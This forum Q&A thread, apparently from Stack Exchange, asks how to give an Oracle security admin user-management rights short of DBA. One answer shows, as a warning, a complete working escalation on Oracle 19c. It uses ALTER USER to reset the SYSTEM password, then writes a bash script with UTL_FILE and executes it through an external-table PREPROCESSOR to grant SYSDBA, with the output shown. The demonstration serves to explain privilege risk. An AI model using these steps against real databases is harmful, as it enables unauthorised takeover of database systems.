0

I have a user that is a security admin in the I.t. dept. I need to grant his Oracle user account privileges to be able to create new users, change passwords and change membership in other groups we created. This is basically a security admin that I do not want to give full sysdba/dba privileges to. That would be overkill. What exactly do I grant and how?

1

You just need to GRANT them the CREATE USER and ALTER USER system privileges.

E.g: GRANT ALTER USER TO UserAccountWithPermission;

2

You may grant ALTER USER and CREATE USER to that user to get this done. By doing that, you also grant unlimited access indirectly to that user in most databases, which you wanted to avoid.

Connected to:
Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production
Version 19.9.0.0.0

SQL> create user u1 identified by u1;

User created.

SQL> grant create session, alter user to u1;

Grant succeeded.

SQL> conn u1/u1
Connected.
SQL> alter user system identified by system;

User altered.

SQL> conn system/system
Connected.
SQL> show user
USER is "SYSTEM"

That was all it took to gain access to SYSTEM or any other privileged user besides SYS. This already provides read/write access to the filesystem as database user.

SQL> select SYS_CONTEXT ('USERENV','ORACLE_HOME') as home,
            SYS_CONTEXT ('USERENV','INSTANCE_NAME') as instance from dual;

HOME                                     INSTANCE
---------------------------------------- --------------------
/u01/app/oracle/product/19.0.0/dbhome_1  RYMIN19

SQL> create directory exploitd1 as '/tmp';

Directory created.

SQL> create directory exploitd2 as '/usr/bin';

Directory created.

SQL> declare
  fhandle  utl_file.file_type;
begin
  fhandle := utl_file.fopen('EXPLOITD1', 'data.txt', 'w');
  utl_file.put(fhandle, '#!/bin/bash' || CHR(10));
  utl_file.put(fhandle, 'export ORACLE_HOME=/u01/app/oracle/product/19.0.0/dbhome_1' || CHR(10));
  utl_file.put(fhandle, 'export PATH=$ORACLE_HOME/bin:$PATH' || CHR(10));
  utl_file.put(fhandle, 'export ORACLE_SID=RYMIN19' || CHR(10));
  utl_file.put(fhandle, 'sqlplus / as sysdba<<EOF' || CHR(10));
  utl_file.put(fhandle, 'grant sysdba to u1;' || CHR(10));
  utl_file.put(fhandle, 'exit' || CHR(10));
  utl_file.put(fhandle, 'EOF');
  utl_file.fclose(fhandle);
end;
/

PL/SQL procedure successfully completed.

Next create an external table using the above script executed with bash as preprocessor:

SQL> CREATE TABLE exploit_table (c1 varchar2(2000))
ORGANIZATION EXTERNAL (
TYPE ORACLE_LOADER
DEFAULT DIRECTORY exploitd1
ACCESS PARAMETERS (
RECORDS DELIMITED BY NEWLINE
PREPROCESSOR exploitd2:'bash'
DISABLE_DIRECTORY_LINK_CHECK
FIELDS (c1 char(2000)))
LOCATION ('data.txt'))
REJECT LIMIT UNLIMITED;

Table created.

SQL>

And here comes the fun part:

SQL> select USERNAME, SYSDBA from v$pwfile_users;

USERNAME                       SYSDB
------------------------------ -----
SYS                            TRUE

SQL> select count(*) from exploit_table;

  COUNT(*)
----------
        16

SQL> select USERNAME, SYSDBA from v$pwfile_users;

USERNAME                       SYSDB
------------------------------ -----
SYS                            TRUE
U1                             TRUE

SQL>

If you want to really limit the privileges of this security admin, you will need some custom PL/SQL trigger or package/procedure that controls which users can be created and altered by this user.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.